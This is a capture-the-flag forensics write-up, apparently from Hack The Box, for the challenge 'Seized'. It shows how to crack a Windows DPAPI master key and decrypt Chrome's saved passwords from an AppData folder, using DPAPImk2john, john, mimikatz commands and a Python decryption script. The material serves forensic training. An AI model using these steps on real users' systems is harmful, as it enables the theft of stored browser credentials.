Write-Ups

5 min read

CA CTF 2022: Using pentesting techniques to decrypt Chrome’s passwords - Seized

Decrypting Chrome's saved login passwords locally.

thewildspirit avatar

thewildspirit,
Jul 05
2022

This write-up will cover the solution for the medium forensics challenge named Seized. To solve the challenge, a player must retrieve the user's hash from the encrypted master key, crack the hash and decrypt the master key. Using the latter, get the private AES key and finally decrypt Chrome's saved password.

Description 📄

Miyuki is now after a newly formed ransomware division that works for Longhir. This division's goal is to target any critical infrastructure and cause financial losses to their opponents. They never restore the encrypted files, even if the victim pays the ransom. This case is the number one priority for the team at the moment. Miyuki has seized the hard drive of one of the members, and it is believed that inside it, there may be credentials for the Ransomware's Dashboard. Given the AppData folder, can you retrieve the wanted credentials?

Challenge

For this challenge, we are given the suspect's AppData folder.

AppData is a hidden folder located in C:\Users\<username>\AppData. It contains settings and other information needed by Windows applications.

Chrome's password manager 🗝️

By reading the description, we know that we need to search for credentials. After a quick enumeration, we can find a Chrome subfolder. It is known that Chrome provides a password manager to users. It is interesting to see if we can read the passwords if any.

How Chrome works ⚙️

As described in this article:

  • Chrome uses AES GCM encryption.

  • Saves the encrypted AES passwords in a file inside the AppData folder, called Local State. 

  • Concatenates the initialization vector with the ciphertext and saves them in a file inside the AppData folder, named Login Data. 

But how is the private AES key protected?

Chrome uses a Windows function from the DPAPI (Data Protection Application Programming Interface) called CryptProtectData, which, as hinted by its name, can protect data using the current user's password. As described by Microsoft's official documentation, only a user with login credentials that match those of the user who encrypted the data can decrypt the data.

Going under the hood

The user's master key, which is used as the primary key when decrypting DPAPI blobs, is protected by the user's password and is stored encrypted in the file AppData\Roaming\Microsoft\Protect\<SID>, where the SID is the security identifier of the user. 

Since we have the master key file and the SID

PS D:\AppData\Roaming\Microsoft\Protect> ls .\S-1-5-21-3702016591-3723034727-1691771208-1002\865be7a6-863c-4d73-ac9f-233f8734089d

We can extract the user's hash using a tool called DPAPImk2john.py.

python DPAPImk2john.py --sid="S-1-5-21-3702016591-3723034727-1691771208-1002" --masterkey="865be7a6-863c-4d73-ac9f-233f8734089d" --context="local" > hash.txt

And then, using john with the rockyou wordlist, we can get the user's password.

The password is ransom.

In order to decrypt the DPAPI blob, we first need to decode it.

import json
import base64

fh = open('AppData/Local/Google/Chrome/User Data/Local State', 'rb')
encrypted_key = json.load(fh)

encrypted_key = encrypted_key['os_crypt']['encrypted_key']

decrypted_key = base64.b64decode(encrypted_key)

open("dec_data",'wb').write(decrypted_key[5:])

We can now use mimikatz to decrypt the master key.

dpapi::masterkey /in:865be7a6-863c-4d73-ac9f-233f8734089d /sid:S-1-5-21-3702016591-3723034727-1691771208-1002 /password:ransom /protected

And then decrypt the DPAPI blob which is the private AES key.

dpapi::blob /masterkey:138f089556f32b87e53c5337c47f5f34746162db7fe9ef47f13a92c74897bf67e890bcf9c6a1d1f4cc5454f13fcecc1f9f910afb8e2441d8d3dbc3997794c630 /in:"dec_data" /out:aes.dec

Solution

At last by modifying this project that can decrypt Chrome's saved passwords locally, we can get the flag.

import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv

def get_secret_key():
    secret_key = open('aes.dec', 'rb').read()
    return secret_key

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
    try:
        initialisation_vector = ciphertext[3:15]
        encrypted_password = ciphertext[15:-16]
        cipher = generate_cipher(secret_key, initialisation_vector)
        decrypted_pass = decrypt_payload(cipher, encrypted_password)
        decrypted_pass = decrypted_pass.decode()
        return decrypted_pass
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
        return ""

def get_db_connection(chrome_path_login_db):
    try:
        return sqlite3.connect(chrome_path_login_db)
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Chrome database cannot be found")
        return None

if __name__ == '__main__':
    secret_key = get_secret_key()
    chrome_path_login_db = r"AppData\AppData\Local\Google\Chrome\User Data\Default\Login Data"
    conn = get_db_connection(chrome_path_login_db)
    if(secret_key and conn):
        cursor = conn.cursor()
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")
        for index,login in enumerate(cursor.fetchall()):
            url = login[0]
            username = login[1]
            ciphertext = login[2]
            if(url!="" and username!="" and ciphertext!=""):
                decrypted_password = decrypt_password(ciphertext, secret_key)
                print("Sequence: %d"%(index))
                print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
                print("*"*50)
        cursor.close()
        conn.close()
Hack The Blog

The latest news and updates, direct from Hack The Box